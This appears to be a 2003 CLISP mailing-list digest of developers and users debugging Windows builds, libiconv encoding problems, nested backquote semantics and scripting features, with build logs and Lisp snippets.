This is strange. I compiled maxima-5.9.0rc1 using it just now. I used
the following 'clisp' shell script (full path replaced with ... for
the sake of conspiracy):

=====
#!/bin/sh
/cygdrive/c/.../lisp.exe -M /cygdrive/c/.../lispinit.mem "$1" "$2" "$3" "$4" "$5" "$6" "$7" "$8" "$9"
=====

The $* won't work, so that mess. I had to correct maxima makefile - I
removed cmucl-...mk from it.

There is one thing I forgot to make yesterday late evening - this is debug
binaries. At worse it should miss some DLLs - is this the case ?
Sorry then.  I can upload normal version - say where.

> your patched file. It failed with signal 11. I compiled libiconv from the
> original sources, I will try again to recompile from cygwin source but I 
> don't have too much time to spend on this. If I make any progress I will 
> report.

Don't lose the time - I tried a number of ways and got no success -
there is a bug in GC. Mingw build crashes after defmacro.lisp was
loaded.


>> let us not mix stable releases and ad hoc binaries.
>> <ftp://ftp2.cons.org/pub/lisp/clisp/snapshots/clisp-2.30.1-win32.zip>

May be it's worth to do a 'beta' section among file releases ?

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Date: Fri Mar 21 16:38:02 2003
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Hello Sam,

Saturday, March 22, 2003, 12:33:44 AM, you wrote:

>> Thank for your reply. I tried to uninstall libiconv but it does not help.
>> I am still unable to compile sucessfully.

> Yadin, you reported a bug with type.lisp and encodings.
> we need to figure out which encodings do not work.
> please remove libiconv and try the patch I send you.
> the warnings should tell you which encodings are missing.
> thanks.

I believe this is due to binnary incompatibility with libiconv -
remember the clisp-list discussion on Nov 2002.


-- 
Best regards,
 Arseny    




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Hi Arseny,
The binaries did not work at all I, don't know why but even if you click on 
lisp.exe in explorer it opens a box that says the program needs to be 
terminated since it caused a system error. Please check the version that 
you uploaded, and if you can, please upload a corrected version to the same 
loaction. I really thank you for your effort.
Yadin.

--On Saturday, March 22, 2003 10:40 AM +1000 Arseny Slobodjuck 
<ampy@inbox.ru> wrote:r

> Hello Yadin,
>
> Saturday, March 22, 2003, 1:21:57 AM, you wrote:
>
>> Thank you for your effeort but the binaries don't work: A box opens which
>> says that
>> lisp.exe encountered a problem and needs to be closed. This is on a Win
>> XP  box.
> This is strange. I compiled maxima-5.9.0rc1 using it just now. I used
> the following 'clisp' shell script (full path replaced with ... for
> the sake of conspiracy):
>
> =====
># !/bin/sh
> /cygdrive/c/.../lisp.exe -M /cygdrive/c/.../lispinit.mem "$1" "$2" "$3"
> "$4" "$5" "$6" "$7" "$8" "$9" =====
>
> The $* won't work, so that mess. I had to correct maxima makefile - I
> removed cmucl-...mk from it.
>
> There is one thing I forgot to make yesterday late evening - this is debug
> binaries. At worse it should miss some DLLs - is this the case ?
> Sorry then.  I can upload normal version - say where.
>
>> your patched file. It failed with signal 11. I compiled libiconv from the
>> original sources, I will try again to recompile from cygwin source but I
>> don't have too much time to spend on this. If I make any progress I will
>> report.
>
> Don't lose the time - I tried a number of ways and got no success -
> there is a bug in GC. Mingw build crashes after defmacro.lisp was
> loaded.
>
>
>>> let us not mix stable releases and ad hoc binaries.
>>> <ftp://ftp2.cons.org/pub/lisp/clisp/snapshots/clisp-2.30.1-win32.zip>
>
> May be it's worth to do a 'beta' section among file releases ?
>
> --
> Best regards,
>  Arseny                            mailto:ampy@inbox.ru
>
>



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On 15 Mar 2003, Sam Steingold wrote:

> Did you check that the two defects are gone:
> 
> 1. in backquote.lisp;
> 
> ;; Bug: With nested backquotes some partial forms are evaluated several
> ;; times (e.g. in the primary evaluation: forms, which are needed for
> ;; the interpretation of secondary evaluation forms) and should
> ;; therefore be free from side-effects.

After a little experimentation, I understand what this is now. For
example, if we do this:

  (eval ````,',',',(print 3))

the form (print 3) is evaluated four times! Ouch! 

Yes, this bug goes away in the new implementation; the unquoted
forms are evaluated just once.

> 2. <http://clisp.cons.org/impnotes.html#backquote>:
>
>        Multiple backquote combinations like ,,@ or ,@,@ are not
>        implemented. Their use would be confusing anyway.

I have requested a c.l.l discussion about these.

Regarding the unquote combination ,,@:

How this works in my implementation  is that the evaluation implied by
the right comma is distributed into the spliced list.

So whereas

 `(,@(list '(+ 2 2) '(+ 4 4)) d))

produces the splice

 ((+ 2 2) (+ 4 4) D)

adding a one more level of backquoting with an unquote around the
splice:

 ``(,,@(list '(+ 2 2) '(+ 4 4)) d))

produces

 (LIST (+ 2 2) (+ 4 4) 'D)

which when evaluated again produces

 (4 8 D)

So a kind of distributive law applies, as if the rightmost
comma went into every element form inserted by the splice, to
request its evaluation.

I have no idea whether this behavior is implied in any way by ANSI CL,
but it has a certain mathematical elegance to it. ;)

The above nested backquote does not work in stock CLISP at all; an
error is produced on second evaluation.

----

Regarding ,@,@:

A newbie might expect a naive text-like substitution, whereby
``(,@,@form) means: on first evaluation, splice in the text
representation of the list produced by form with parentheses removed,
to obtain `(,@x1 x2 x3 ...). Then on second evaluation, x1 must yield a
list which is spliced: (x11 x12 ... x2 x3 ...). But this interpretation
is laughable in addition to being quite useless.

My implementation does not support ,@,@ at all; but rather than
diagnosing it as an error, it unfortunately translates it into invalid
code. What's worse, the optimizer doesn't validate the bad code, and
sometimes turns it into working code. I.e. we have degenerate behavior.

My gut instinct is to just leave this alone until someone provides
a semi-authoritative interpretation of the spec on this matter.
Or else I can make it reject ,@,@ syntax with a diagnostic.



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> * In message <249641874.20030322104057@inbox.ru>
> * On the subject of "Re[2]: [clisp-list] win32 cvs head binaries"
> * Sent on Sat, 22 Mar 2003 10:40:57 +1000
> * Honorable Arseny Slobodjuck <ampy@inbox.ru> writes:
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> Don't lose the time - I tried a number of ways and got no success -
> there is a bug in GC. Mingw build crashes after defmacro.lisp was
> loaded.

Yes, but Yadin got past that!

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Moin People,

  i hoped to catch up to current clisp this weekend, but i think, someone
  submitted only half of a patch ;(

gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations
-DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -c foreign.c
In file included from foreign.d:5:
lispbibl.d:7492: warning: register used for two global register variables
foreign.d: In function `C_set_foreign_pointer':
foreign.d:126: structure has no member named `S_Kcopy'
foreign.d:129: structure has no member named `S_Kcopy'
foreign.d: In function `C_call_with_foreign_string':
foreign.d:2656: warning: variable `charsize' might be clobbered by `longjmp' or `vfork'
foreign.d:2657: warning: variable `bytesize' might be clobbered by `longjmp' or `vfork'
foreign.d:2664: warning: variable `pointer_base' might be clobbered by `longjmp' or `vfork'
foreign.d: In function `do_va_start':
foreign.d:3360: warning: left-hand operand of comma expression has no effect
foreign.d:3362: warning: left-hand operand of comma expression has no effect
make: *** [foreign.o] Error 1
lubbe:~/AIlang/clisp-cvs/clisp/src $ 

  btw: suggestion for the toplevel of the CVS tree :

    #!/bin/sh
    # clisp-rebuild (c) 2003 GPL
    cd clisp
    ./configure | tee ../build.configure.tee
    cd src
    ./makemake --with-dynamic-ffi > Makefile
    make clean | tee ../../build.make.clean.tee
    make config.lisp 2>&1 | tee ../../build.make.config.tee
    vi config.lisp
    make 2>&1 | tee ../../build.make.all.tee
    make check 2>&1 | tee ../../build.make.check.tee

peace on your way,
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> * In message <20030322174040.GA19812@bakunin.copyleft.de>
> * On the subject of "[clisp-list] can not make from cvs today ;("
> * Sent on Sat, 22 Mar 2003 18:40:40 +0100
> * Honorable Michael Koehne <kraehe@copyleft.de> writes:
>
>   i hoped to catch up to current clisp this weekend, but i think,
>   someone submitted only half of a patch ;(

[if you are using cvs head, it is preferred that you subscribe to
clisp-devel and report problems there...]

> foreign.d:126: structure has no member named `S_Kcopy'
> foreign.d:129: structure has no member named `S_Kcopy'
fixed, thanks.
(you appear not to be using --with-export-syscalls, right?)

>   btw: suggestion for the toplevel of the CVS tree :

try

$ ./configure --edit-config --build build-dir

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Hello Arseny,
Thank you for the new binaries that you posted on your site
using MSVC. I downloaded them to my home computer and they work fine.
I also was sucessful to compile maxima and it works fine execpt that it 
fails to launch omplotdata for plot2d since it claims it is not a windows 
executable which indeed it is not. The cygwin compiled clisp-2.29 was able 
to execute it. I then tried the binaries that you posted Friday to 
sourceforge on my home computer and they also work. I don't know why they 
don't work on my work computer. On Monday I will check if the new binaries 
(with no debug) work on my work computer. I will look into this more and 
let you know. Thank you again very much for your help-
I really appreciate it. Yadin.

--On Saturday, March 22, 2003 10:40 AM +1000 Arseny Slobodjuck 
<ampy@inbox.ru> wrote:r

> Hello Yadin,
>
> Saturday, March 22, 2003, 1:21:57 AM, you wrote:
>
>> Thank you for your effeort but the binaries don't work: A box opens which
>> says that
>> lisp.exe encountered a problem and needs to be closed. This is on a Win
>> XP  box.
> This is strange. I compiled maxima-5.9.0rc1 using it just now. I used
> the following 'clisp' shell script (full path replaced with ... for
> the sake of conspiracy):
>
> =====
># !/bin/sh
> /cygdrive/c/.../lisp.exe -M /cygdrive/c/.../lispinit.mem "$1" "$2" "$3"
> "$4" "$5" "$6" "$7" "$8" "$9" =====
>
> The $* won't work, so that mess. I had to correct maxima makefile - I
> removed cmucl-...mk from it.
>
> There is one thing I forgot to make yesterday late evening - this is debug
> binaries. At worse it should miss some DLLs - is this the case ?
> Sorry then.  I can upload normal version - say where.
>
>> your patched file. It failed with signal 11. I compiled libiconv from the
>> original sources, I will try again to recompile from cygwin source but I
>> don't have too much time to spend on this. If I make any progress I will
>> report.
>
> Don't lose the time - I tried a number of ways and got no success -
> there is a bug in GC. Mingw build crashes after defmacro.lisp was
> loaded.
>
>
>>> let us not mix stable releases and ad hoc binaries.
>>> <ftp://ftp2.cons.org/pub/lisp/clisp/snapshots/clisp-2.30.1-win32.zip>
>
> May be it's worth to do a 'beta' section among file releases ?
>
> --
> Best regards,
>  Arseny                            mailto:ampy@inbox.ru
>
>



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Moin Sam Steingold,

> [if you are using cvs head, it is preferred that you subscribe to
> clisp-devel and report problems there...]

  *oups* i'm using the cvs version, because of socket-status.
  
  question here: when does the socket-status become stable ?

  The make test, suggest that there are some planed fixes before next
  stable release. And, if I ftp to ftp.gnu.org, i wonder, why latest is
  not 2.30, but symlinked to 2.29.

  I think the result of make test is well know :

  Form: (LET ((S (MAKE-ARRAY 10 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT #\a))) (LIST (MULTIPLE-VALUE-LIST
  (SYSTEM::STRING-INFO S)) (PROGN (SETF (AREF S 3) (CODE-CHAR 12345))
  (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC)
  (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (SETF (AREF S 3)
  (CODE-CHAR 123456)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)))
  (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)))))
  CORRECT: ((8 NIL NIL) (16 NIL T) (16 NIL NIL) (32 NIL T) (32 NIL NIL))
  CLISP  : ((8 NIL NIL) (16 NIL T) (16 NIL T) (32 NIL T) (32 NIL T))

  so i installed it, and cheer that 'mucl' still works ;)

> $ ./configure --edit-config --build build-dir

  doing this without edit-config would alow a nohup, as remote computing
  is much faster than my at home dualPentium250 server or my p120 laptop.

> Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux

  btw: I have currently have 40 Debian, 40 RedHat and two Solaris systems
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  for clustering clisp ? The only MPI, I found on the net was for GCL.

peace on your way,
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> * In message <20030323104742.GA22883@bakunin.copyleft.de>
> * On the subject of "Re: [clisp-list] cvs fixed - mucl works again ;)"
> * Sent on Sun, 23 Mar 2003 11:47:42 +0100
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>
>   And, if I ftp to ftp.gnu.org, i wonder, why latest is
>   not 2.30, but symlinked to 2.29.

huh?
ftp.gnu.org:/pub/gnu/clisp> ls latest
lrwxrwxrwx    1 1175     101            12 Mar 22 17:58 latest -> release/2.30

> > $ ./configure --edit-config --build build-dir
> 
>   doing this without edit-config would alow a nohup, as remote computing
>   is much faster than my at home dualPentium250 server or my p120 laptop.

the script you suggested wanted to edit config.lisp, so I added
--edit-config.
I never edit it, so I always use --build

>   btw: I have currently have 40 Debian, 40 RedHat and two Solaris
>   systems in clamv.iu-bremen.de - about 150 CPUs - is there any
>   software you suggest for clustering clisp ? The only MPI, I found on
>   the net was for GCL.

what's MPI?
I don't understand what you are talking about.

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Hello Arseny,
A couple of more comments about the win32 binaries. Apparently they lack 
readline support since in maxima I can not recall previous commands by 
hitting the up arrow key. Also invoking maxima in xemacs hangs it. This 
never happend with cygwin binaries.
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On Fri, 21 Mar 2003, Kaz Kylheku wrote:

> Regarding the unquote combination ,,@:
> 
> How this works in my implementation  is that the evaluation implied by
> the right comma is distributed into the spliced list.

LispWorks does it this way too. And Timothy Moore showed me a macro
from McCLIM which ,,@ and depends on this behavior. Good!

LispWorks also seems to provide nice distributive behavior for ,@,@.

That is to say:

;; in LW
(eval ``(1 ,,@'((list 2 3) (list 4 5)) 6))
==> (1 (2 3) (4 5) 6)

(eval ``(1 ,@,@'((list 2 3) (list 4 5)) 6))
==> (1 2 3 4 5 6)

My implementation gets the above one right by fluke; but some
other cases (like if we remove the 1 and 6) confuse the optimizer.

(eval ``(,@,@'((list 2 3) (list 4 5))))

agrees with LispWorks if I disable the optimizer, but with
the optimizer turned on, an illegal reduction of `(APPEND ,@FORM)
to `,@FORM happens, which results in an error. Normally it's okay
to optimize (APPEND X) to X, but not when X has special semantics
for another round of subsequent expansion.

I think it's wortwhile hacking on this to nail down the ,@,@
behavior.



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I've re-tested this code and found that there was no problem, sorry for =
the inconvenience.. I should have tried the magic reboot before =
concluding that it might be a bug, I suppose.

Jamison


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I don't see my messages appearing in mailing list so resending this
one. Sorry if there are duplicates.

>> The attached code is a test case intended to isolate this problem I =
have
>> been having with connecting multiple clients to a server. I want to
>> occasionally poll the socket to see if there are any clients waiting =
for a
>> connection. Under linux this code loops until a connection is made by =
a
>> client, as expected, but under WinXP the loop never terminates, the =
client
>> connects and is holding a connection to the server but the server =
code
>> doesn't acknowledge the connection. Is this a bug?

>> The WinXP machine is running Clisp 2.30 and WinXP SP-1

> I have no problem with this code on NT4.0 (clisp 2.30, 2.27, CVS) and
> on XP (2.27, CVS). I'll check ver. 2.30 on XP, but I don't expect it
> will fail.

> Could you try different telnets, different addresses (localhost,
> 127.0.0.1, your IP, your machine name) ?

I've checked clisp 2.30 with win XP - no problem.


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It seems that when printing a string with an embedded newline, an
additional newline is printed before:

[6]> (progn (princ "a")(princ (coerce '(#\b #\newline #\c) 'string))
(princ "d"))
a
b
cd
"d"
[7]> (format nil "~A~A~A" "a"  (coerce '(#\b #\newline #\c) 'string)
"d")
"a
b
cd"

(I would expect
"ab
cd"
)

etc.

Is this a (documented) feature? I have not found a justification,
neither in the clisp doc nor in the HyperSpec.


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Hi,

I've just tried out CLISP's current CVS on x86 linux, in the hope that
it's close enough to the beta to be useful feedback.  Two
observations:

1. Building with --with-debug seemed to cause problems.  The testsuite
   hung, seemingly for ever, on (RATIONALIZE PI); investigating
   further revealed something a bit weird going on:

   [1]> pi           
   0.00282743338823081391L0
   [2]> (exp 1.0)
   5.0E-7
   [3]> (exp 1.0d0)
   2.718281828459045d0

2. Without --with-debug, the build is more successful, though the
   testsuite target still fails.  I then tried to build sbcl on it,
   but it would appear that clisp detects assignments to internal
   symbols in other packages, which happens a lot in sbcl's build:

   WARNING in (PROGN (DEF!MACRO !DEF-BOOLEAN-ATTRIBUTE # ...) (DEFUN GUTS-OF-!DEF-BOOLEAN-ATTRIBUTE-SETTER # ...) ...)-10-1-2 in lines 149..236 :
   SETQ: assignment to the internal special symbol  SB!IMPL::*DELAYED-DEF!MACROS*

   A full compile-time warning sets the FAILUREP return value from
   COMPILE-FILE to T, which is interpreted by the build scripts as an
   actual failure.  Is there any way to lessen the impact of this
   warning, either by weakening it to a STYLE-WARNING or by turning it
   off altogether?

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> * In message <Pine.LNX.4.44.0303232242340.9643-100000@ashi.FootPrints.net>
> * On the subject of "Re: New, from-scratch implementation of backquote."
> * Sent on Sun, 23 Mar 2003 22:58:24 -0800 (PST)
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> I think it's wortwhile hacking on this to nail down the ,@,@
> behavior.

indeed!

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> * In message <200303240730.h2O7U4t20498@posso.dm.unipi.it>
> * On the subject of "[clisp-list] Unexpected behaviour when writing multi-line strings"
> * Sent on Mon, 24 Mar 2003 08:30:04 +0100
> * Honorable Carlo Traverso <traverso@dm.unipi.it> writes:
>
> It seems that when printing a string with an embedded newline, an
> additional newline is printed before:

<http://clisp.cons.org/impnotes.html#ppr-first-newline>
<http://clisp.cons.org/impnotes/printer.html#ppr-first-newline>

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> * In message <squ1dslx4b.fsf@lambda.jcn.srcf.net>
> * On the subject of "[clisp-list] Current CVS observations"
> * Sent on Mon, 24 Mar 2003 13:20:20 +0000
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> 1. Building with --with-debug seemed to cause problems.  The testsuite
>    hung, seemingly for ever, on (RATIONALIZE PI); investigating
>    further revealed something a bit weird going on:
> 
>    [1]> pi           
>    0.00282743338823081391L0
>    [2]> (exp 1.0)
>    5.0E-7
>    [3]> (exp 1.0d0)
>    2.718281828459045d0

I do not observe this:

[1]> pi
3.1415926535897932385L0
[2]> (exp 1.0)
2.7182817
[3]> (RATIONALIZE PI)
8717442233/2774848045

> 2. Without --with-debug, the build is more successful, though the
>    testsuite target still fails.  I then tried to build sbcl on it,
>    but it would appear that clisp detects assignments to internal
>    symbols in other packages, which happens a lot in sbcl's build:
> 
>    WARNING in (PROGN (DEF!MACRO !DEF-BOOLEAN-ATTRIBUTE # ...) (DEFUN GUTS-OF-!DEF-BOOLEAN-ATTRIBUTE-SETTER # ...) ...)-10-1-2 in lines 149..236 :
>    SETQ: assignment to the internal special symbol  SB!IMPL::*DELAYED-DEF!MACROS*
> 
>    A full compile-time warning sets the FAILUREP return value from
>    COMPILE-FILE to T, which is interpreted by the build scripts as an
>    actual failure.  Is there any way to lessen the impact of this
>    warning, either by weakening it to a STYLE-WARNING or by turning it
>    off altogether?

this was a bug, fixed now: the warning should be signaled only when
the (SYMBOL-PACKAGE var) is locked.

please do cvs up and try again.
if you still observe the numerical problem, please try to debug them.
(run under gdb and see where RATIONALIZE hangs)

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Date: Mon Mar 24 08:15:14 2003
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Sam Steingold <sds@gnu.org> writes:

> this was a bug, fixed now: the warning should be signaled only when
> the (SYMBOL-PACKAGE var) is locked.
>
> please do cvs up and try again.

Thank you; that issue is now resolved... I still seem to get some
similar messages when I do pretty-printing-intensive stuff, but I
haven't chased it down yet.

> if you still observe the numerical problem, please try to debug them.
> (run under gdb and see where RATIONALIZE hangs)

This time, when I tried building with --with-debug, the build seemed
to hang while running interpreted.mem to compile the world... when I
attached gdb to it, it seemed to be in the process of trying to print
a backtrace(?)

In any case, here is another problem in the non-debug image:

[8]> (defmacro foo (&key (bar (error "foo"))) ())
FOO
[9]> (foo)
*** - foo               ; as expected
1. Break [10]> 
[11]> (foo :bar 1)

*** - foo               ; not as expected

A relatively common idiom I've seen is to do
  (defmacro deffoo (&key (frob (error "missing argument"))
                         other-key))
to give a handy defining interface where some keywords are
required...

Cheers,

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Date: Mon Mar 24 10:07:07 2003
X-Original-Date: Mon, 24 Mar 2003 13:06:42 -0500

Hello,
I successfully recompiled the patched cygwin libiconv library. It nows 
loads type.lisp without any changes (I did not apply the patch, should I?) 
but it gets stuck on compiler.lisp with some warning and then signal 11. 
Here is the output:
./lisp.exe -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x 
"(and
(load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2003

;; Loading file defseq.lisp ...
;; Loaded file defseq.lisp
;; Loading file backquote.lisp ...
;; Loaded file backquote.lisp
;; Loading file defmacro.lisp ...
;; Loaded file defmacro.lisp
;; Loading file macros1.lisp ...
;; Loaded file macros1.lisp
;; Loading file macros2.lisp ...
;; Loaded file macros2.lisp
;; Loading file defs1.lisp ...
;; Loaded file defs1.lisp
;; Loading file places.lisp ...
;; Loaded file places.lisp
;; Loading file floatprint.lisp ...
;; Loaded file floatprint.lisp
;; Loading file type.lisp ...
;; Loaded file type.lisp
;; Loading file defstruct.lisp ...
;; Loaded file defstruct.lisp
;; Loading file format.lisp ...
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" 
"function
" FORMAT #P"/cygdrive/c/temp/clisp/src/format.lisp" "top-level")
;; Loaded file format.lisp
;; Loading file international.lisp ...
;; Loaded file international.lisp
;; Loading file /cygdrive/c/temp/clisp/built-w-newiconv/room.lisp ...
;; Loaded file /cygdrive/c/temp/clisp/built-w-newiconv/room.lisp
;; Loading file /cygdrive/c/temp/clisp/built-w-newiconv/savemem.lisp ...
;; Loaded file /cygdrive/c/temp/clisp/built-w-newiconv/savemem.lisp
;; Loading file /cygdrive/c/temp/clisp/built-w-newiconv/trace.lisp ...
;; Loaded file /cygdrive/c/temp/clisp/built-w-newiconv/trace.lisp
;; Loading file /cygdrive/c/temp/clisp/built-w-newiconv/cmacros.lisp ...
;; Loaded file /cygdrive/c/temp/clisp/built-w-newiconv/cmacros.lisp
;; Loading file /cygdrive/c/temp/clisp/built-w-newiconv/compiler.lisp ...
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" 
"function
" GLOBAL-IN-FENV-P #P"/cygdrive/c/temp/clisp/src/compiler.lisp" "top-level")
(WARN "~a: redefining ~a ~s in ~a, was defined in ~a" "DEFUN/DEFMACRO" 
"macro" E
VAL-WHEN-COMPILE #P"/cygdrive/c/temp/clisp/src/compiler.lisp" "top-level") 
Signa
l 11
make: *** [interpreted.mem] Error 139
What next?
Yadin.

--On Saturday, March 22, 2003 10:39 AM -0500 Sam Steingold <sds@gnu.org> 
wrote:r

>> * In message <249641874.20030322104057@inbox.ru>
>> * On the subject of "Re[2]: [clisp-list] win32 cvs head binaries"
>> * Sent on Sat, 22 Mar 2003 10:40:57 +1000
>> * Honorable Arseny Slobodjuck <ampy@inbox.ru> writes:
>>
>> Don't lose the time - I tried a number of ways and got no success -
>> there is a bug in GC. Mingw build crashes after defmacro.lisp was
>> loaded.
>
> Yes, but Yadin got past that!
>
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> * In message <270864328.1048511201@GOLDSCHMIDT.phyast.pitt.edu>
> * On the subject of "Re: Re[2]: [clisp-list] win32 cvs head binaries"
> * Sent on Mon, 24 Mar 2003 13:06:42 -0500
> * Honorable "Yadin Y. Goldschmidt" <yadin+@pitt.edu> writes:
>
> I successfully recompiled the patched cygwin libiconv library. It nows
> loads type.lisp without any changes (I did not apply the patch, should
> I?)

it depends on whether you want to help us with the problem you had
before.
if you do want to help us, you need to __remove__ libiconv, apply the
patch and try to build again.
the task is __not__ to achieve a successful build (yet :-), but to,
first, see what encodings are missing, and, then, later, with a
_different_ patch, to make clisp load type.lisp without libiconv.

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Sorry  if I sound  like whinning,  but I've  got two  difficuties with
clisp used as a script interpreter:

- first, obtaining the  path of the "running" script  is only possible
  using  *LOAD-PATHNAME*,  considering  that  the  script  is  running
  whenever it's loading...

  The problem with this, is  that it's impossible to obtain the script
  path from a file being loaded from the script.  I was hopping to put
  something like:


(DEFPACKAGE "COM.INFORMATIMAGO.CLISP.SCRIPT"
  (:NICKNAMES "PJB-SCRIPT" "SCRIPT")
  (:DOCUMENTATION
   "This package exports script functions.")
  (:USE "COMMON-LISP")
  (:EXPORT  "PNAME" "IS-RUNNING" ;;...
   ))=20
(IN-PACKAGE "COM.INFORMATIMAGO.CLISP.SCRIPT")

(DEFPARAMETER PNAME     (FILE-NAMESTRING *LOAD-PATHNAME*))
;; ...


  in  a  "pjb-script.lisp"  file  common  to all  my  scripts,  to  be
  sub-loaded from my scripts.

  What's more,  if I compile the  library packages and  the script and
  concatenate them into a  stand-alone compiled .fas script, obviously
  then *LOAD-PATHNAME* will be the wanted path name, the problem being
  that  one  cannot  use   *LOAD-PATHNAME*  to  get  the  same  result
  everytime. That is, the semantics  of *LOAD-PATHNAME* is not what is
  needed here, and clearly access to the path of the running script is
  missing.

  Would it  be possible to  have a ext:*arg0* or  ext:*pname* variable
  holding the path of the running script?


- my  second problem is  that I  can't find  a way  to know  whether a
  script is running or not.  That is, for debugging purpose, or other,
  I  need to  load the  lisp code  of a  script into  a  running lisp,
  without running the script.
 =20
  Well  here, the  first problem  is that  I have  to edit  the script
  because the '#!'  on the first line is not accepted.  I guess that I
  could add a reader  macro there, but I think it would  be nice if it
  was  something implemented  in  clisp  as a  part  of its  scripting
  support.

  Then, I'm trying to implement a pjb-scritp:is-running predicate that
  would tell me whether the script is being loaded via (load "script")
  or  whether it's  being  run via  '#!/usr/bin/clisp' mechanism.   It
  would be used as:

    (when (pjb-script:is-running) (main pjb-script:arguments))

  How one could implement this is-running predicate?
 =20
  It would be solved assuming  that ext:*pname* is nil when the script
  is not running (not loading via the #! mechanism).





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> * In message <20030324220649.D5A0997A85@thalassa.informatimago.com>
> * On the subject of "[clisp-list] pname"
> * Sent on Mon, 24 Mar 2003 23:06:49 +0100 (CET)
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
> (DEFPARAMETER PNAME     (FILE-NAMESTRING *LOAD-PATHNAME*))

(DEFPARAMETER PNAME     #.(FILE-NAMESTRING *LOAD-PATHNAME*))

>   Well here, the first problem is that I have to edit the script
>   because the '#!'  on the first line is not accepted.  I guess that I
>   could add a reader macro there, but I think it would be nice if it
>   was something implemented in clisp as a part of its scripting
>   support.

how do you think CLISP loads your scripts?

it does this, in spvw.d:

(SET-DISPATCH-MACRO-CHARACTER #\# #\!
   #'SYS::UNIX-EXECUTABLE-READER)

>   Then, I'm trying to implement a pjb-scritp:is-running predicate that
>   would tell me whether the script is being loaded via (load "script")
>   or  whether it's  being  run via  '#!/usr/bin/clisp' mechanism.   It
>   would be used as:
> 
>     (when (pjb-script:is-running) (main pjb-script:arguments))
> 
>   How one could implement this is-running predicate?

e.g.,
(defun pjb-script:executable-reader (a b c)
  (sys::unix-executable-reader a b c))

(set-dispatch-macro-character #\# #\! #pjb-script:executable-reader)

(load "my-script")

(defun is-running ()
  (eq (get-dispatch-macro-character #\# #\!)
      #'SYS::UNIX-EXECUTABLE-READER))

the simple way to avoid this stupid trickery is to have

(defvar *running* t)

in each script and load scripts with

(defvar *running* nil)
(defun load-script (fn)
  (let ((*running* nil))
    (load fn)))

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Date: Mon Mar 24 19:04:06 2003
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Sam Steingold writes:
> > * In message <20030324220649.D5A0997A85@thalassa.informatimago.com>
> > * On the subject of "[clisp-list] pname"
> > * Sent on Mon, 24 Mar 2003 23:06:49 +0100 (CET)
> > * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
> >
> > (DEFPARAMETER PNAME     (FILE-NAMESTRING *LOAD-PATHNAME*))
>=20
> (DEFPARAMETER PNAME     #.(FILE-NAMESTRING *LOAD-PATHNAME*))

This does not work no more.   In both cases, when the file where these
statements are placed  is not the script file, but  a file loaded from
the loaded/run  script, *LOAD-PATHNAME* contains the path  to the file
loaded from the loaded/run script, not the path to the script.


> >   Well here, the first problem is that I have to edit the script
> >   because the '#!'  on the first line is not accepted.  I guess that =
I
> >   could add a reader macro there, but I think it would be nice if it
> >   was something implemented in clisp as a part of its scripting
> >   support.
>=20
> how do you think CLISP loads your scripts?
>=20
> it does this, in spvw.d:
>=20
> (SET-DISPATCH-MACRO-CHARACTER #\# #\!
>    #'SYS::UNIX-EXECUTABLE-READER)

Thank you for  the pointer. (I'm affraid a lot  going into the sources
of clisp because  of them being programmed IMHO in  lower level than C
(all these pushSTACK/popSTACK etc)).


> >   Then, I'm trying to implement a pjb-scritp:is-running predicate tha=
t
> >   would tell me whether the script is being loaded via (load "script"=
)
> >   or  whether it's  being  run via  '#!/usr/bin/clisp' mechanism.   I=
t
> >   would be used as:
> >=20
> >     (when (pjb-script:is-running) (main pjb-script:arguments))
> >=20
> >   How one could implement this is-running predicate?
>=20
> e.g.,
> (defun pjb-script:executable-reader (a b c)
>   (sys::unix-executable-reader a b c))
>=20
> (set-dispatch-macro-character #\# #\! #pjb-script:executable-reader)
>=20
> (load "my-script")
>=20
> (defun is-running ()
>   (eq (get-dispatch-macro-character #\# #\!)
>       #'SYS::UNIX-EXECUTABLE-READER))
>=20
> the simple way to avoid this stupid trickery

I agree that it's quite a hack, but once hidden in a package, it would
work.

>  is to have
>=20
> (defvar *running* t)
>=20
> in each script and load scripts with
>=20
> (defvar *running* nil)
> (defun load-script (fn)
>   (let ((*running* nil))
>     (load fn)))

I  see a  big problem  with this  solution (apart  the smart  usage of
defvar),  it's that  it needs  something to  be done  in each  and all
script sources. =20


So I would propose the following change in spvw.d:


    # execute:
    # (PROGN
    #   #+UNIX (SET-DISPATCH-MACRO-CHARACTER #\# #\!
    #            #'SYS::UNIX-EXECUTABLE-READER)
    #   (SETQ *LOAD-VERBOSE* NIL)
    #   (DEFPARAMETER *SCRIPT-IS-RUNNING* T)           ;; new
    #   (DEFPARAMETER *SCRIPT-NAME* argv_execute_file) ;; new
    #   (DEFPARAMETER *ARGS* argv_execute_args)
    #   (EXIT-ON-ERROR
    #     (APPEASE-CERRORS
    #       (LOAD argv_execute_file :EXTRA-FILE-TYPES ...)))
    #   (EXIT)
    # )

With:

   (DEFPARAMETER *SCRIPT-IS-RUNNING* NIL=20
     "Whether a script is being loaded and run by '#!'.")

